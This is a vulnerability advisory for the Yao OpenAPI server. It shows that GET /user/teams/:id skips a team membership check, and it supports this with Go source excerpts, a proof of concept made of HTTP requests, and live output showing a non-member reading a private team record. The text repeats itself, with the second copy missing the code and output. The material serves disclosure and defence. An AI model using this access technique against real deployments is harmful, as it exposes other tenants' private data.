Summary
The OpenAPI team-detail endpoint GET /user/teams/:id (handler GinTeamGet in openapi/user/team.go) authenticates the caller but never verifies that the caller belongs to the team identified by the path parameter. The team is fetched purely by the supplied team_id, so any logged-in user can read the full record of any team in the system, including name, description, owner_id and team settings. The ownership check that exists on the sibling write endpoints is present in source but commented out on this read endpoint.
Details
In openapi/user/team.go, GinTeamGet validates only that a user is authenticated, then loads the team by the path-supplied team_id with no membership or ownership filter:
func GinTeamGet(c *gin.Context) {
authInfo := authorized.GetInfo(c) // authentication only
...
teamID := c.Param("id")
...
// line 115: fetch by team_id, NO user/ownership filter
teamData, err := provider.GetTeamDetail(c.Request.Context(), teamID)
...
// lines 135-145: the ownership check is COMMENTED OUT
// // Check if user owns this team
// ownerID := utils.ToString(teamData["owner_id"])
// if ownerID != authInfo.UserID {
// ... StatusForbidden ...
// }
team := mapToTeamDetailResponse(teamData) // returns owner_id, name, settings, ...
response.RespondWithSuccess(c, http.StatusOK, team)
}
GetTeamDetail (openapi/oauth/providers/user/team.go) queries only WHERE team_id = :id, with no user scoping:
func (u *DefaultUser) GetTeamDetail(ctx context.Context, teamID string) (maps.MapStrAny, error) {
m := model.Select(u.teamModel)
teams, err := m.Get(model.QueryParam{
Select: u.teamDetailFields,
Wheres: []model.QueryWhere{ {Column: "team_id", Value: teamID} },
Limit: 1,
})
...
}
This is a sibling-path asymmetry. Every adjacent team operation enforces authorization on the same team_id:
- teamUpdate (PUT /user/teams/:id) checks
ownerID != userID and returns "access denied".
- teamDelete (DELETE /user/teams/:id) performs the same owner check.
- memberGet / memberList / memberUpdate call
checkTeamAccess(ctx, teamID, userID) and reject non-members.
Only GinTeamGet skips the check. team_id is well known to current and former team members and collaborators (it is returned in a member's own GET /user/teams list, in member-management responses, and used in collaboration URLs). A user who is removed from a team therefore keeps permanent read access to that team's details even though every write and member endpoint correctly denies them.
PoC
Prerequisites: a running Yao OpenAPI server with the user provider enabled. Two ordinary user accounts (victim and attacker); the attacker is NOT a member of the victim's team. The attacker knows the victim's team_id (e.g. from when they were previously a member, or from a shared collaboration URL).
This was validated in-process against the real OpenAPI router using the project's own test harness (testutils.Prepare boots the full server, SQLite primary DB, Redis session store). The test provisions two distinct users, has the victim create a private team, then has the attacker call the endpoint with their own token.
Steps:
-
Victim creates a team:
POST /v1/openapi/user/teams
Authorization: Bearer <victim_token>
Content-Type: application/json
{"name":"Victim Secret Team","description":"Confidential -- attacker must not read this","settings":{"theme":"dark","visibility":"private"}}
Response 201 includes "team_id":"575150189440".
-
Attacker (a different user, never a member of that team) reads it:
GET /v1/openapi/user/teams/575150189440
Authorization: Bearer <attacker_token>
-
Contrast -- the same attacker attempts to modify the same team:
PUT /v1/openapi/user/teams/575150189440
Authorization: Bearer <attacker_token>
{"name":"hacked"}
Observed output from the live run:
VICTIM user_id = test_user_1781499446388099430
ATTACKER user_id = test_user_1781499446407269978
VICTIM team_id = 575150189440 (owner=test_user_1781499446388099430)
ATTACKER GET /user/teams/575150189440 -> HTTP 200
ATTACKER received body:
{"id":0,"team_id":"575150189440","name":"Victim Secret Team",
"description":"Confidential -- attacker must not read this",
"owner_id":"test_user_1781499446388099430","status":"active",
"is_verified":false,"created_at":"2026-06-15T04:57:26Z",
"updated_at":"2026-06-15T12:57:26Z",
"settings":{"theme":"dark","visibility":"private"}}
CONTRAST attacker PUT /user/teams/575150189440 -> HTTP 403
body={"error":"access_denied","error_description":"access denied: user does not own this team"}
The attacker, who is not a member of the victim's team, reads the victim's full private team record (HTTP 200). The sibling write endpoint correctly rejects the same attacker with HTTP 403, confirming the read endpoint is missing the authorization control rather than the design intending public reads.
Impact
Any authenticated user (the lowest privilege in the system) can read the full details of any team whose team_id they know, across tenant boundaries: team name, description, owner user_id, verification status, and team settings. The most reliable exploitation path is a former member or removed member, who already knows the team_id and retains read access indefinitely despite losing all other access. Scope is Changed because the authorization boundary crossed is the tenant/team the authenticated principal does not belong to.
Summary
The OpenAPI team-detail endpoint GET /user/teams/:id (handler GinTeamGet in openapi/user/team.go) authenticates the caller but never verifies that the caller belongs to the team identified by the path parameter. The team is fetched purely by the supplied team_id, so any logged-in user can read the full record of any team in the system, including name, description, owner_id and team settings. The ownership check that exists on the sibling write endpoints is present in source but commented out on this read endpoint.
Details
In openapi/user/team.go, GinTeamGet validates only that a user is authenticated, then loads the team by the path-supplied team_id with no membership or ownership filter:
GetTeamDetail (openapi/oauth/providers/user/team.go) queries only
WHERE team_id = :id, with no user scoping:This is a sibling-path asymmetry. Every adjacent team operation enforces authorization on the same team_id:
ownerID != userIDand returns "access denied".checkTeamAccess(ctx, teamID, userID)and reject non-members.Only GinTeamGet skips the check. team_id is well known to current and former team members and collaborators (it is returned in a member's own GET /user/teams list, in member-management responses, and used in collaboration URLs). A user who is removed from a team therefore keeps permanent read access to that team's details even though every write and member endpoint correctly denies them.
PoC
Prerequisites: a running Yao OpenAPI server with the user provider enabled. Two ordinary user accounts (victim and attacker); the attacker is NOT a member of the victim's team. The attacker knows the victim's team_id (e.g. from when they were previously a member, or from a shared collaboration URL).
This was validated in-process against the real OpenAPI router using the project's own test harness (testutils.Prepare boots the full server, SQLite primary DB, Redis session store). The test provisions two distinct users, has the victim create a private team, then has the attacker call the endpoint with their own token.
Steps:
Victim creates a team:
POST /v1/openapi/user/teams
Authorization: Bearer <victim_token>
Content-Type: application/json
{"name":"Victim Secret Team","description":"Confidential -- attacker must not read this","settings":{"theme":"dark","visibility":"private"}}
Response 201 includes "team_id":"575150189440".
Attacker (a different user, never a member of that team) reads it:
GET /v1/openapi/user/teams/575150189440
Authorization: Bearer <attacker_token>
Contrast -- the same attacker attempts to modify the same team:
PUT /v1/openapi/user/teams/575150189440
Authorization: Bearer <attacker_token>
{"name":"hacked"}
Observed output from the live run:
The attacker, who is not a member of the victim's team, reads the victim's full private team record (HTTP 200). The sibling write endpoint correctly rejects the same attacker with HTTP 403, confirming the read endpoint is missing the authorization control rather than the design intending public reads.
Impact
Any authenticated user (the lowest privilege in the system) can read the full details of any team whose team_id they know, across tenant boundaries: team name, description, owner user_id, verification status, and team settings. The most reliable exploitation path is a former member or removed member, who already knows the team_id and retains read access indefinitely despite losing all other access. Scope is Changed because the authorization boundary crossed is the tenant/team the authenticated principal does not belong to.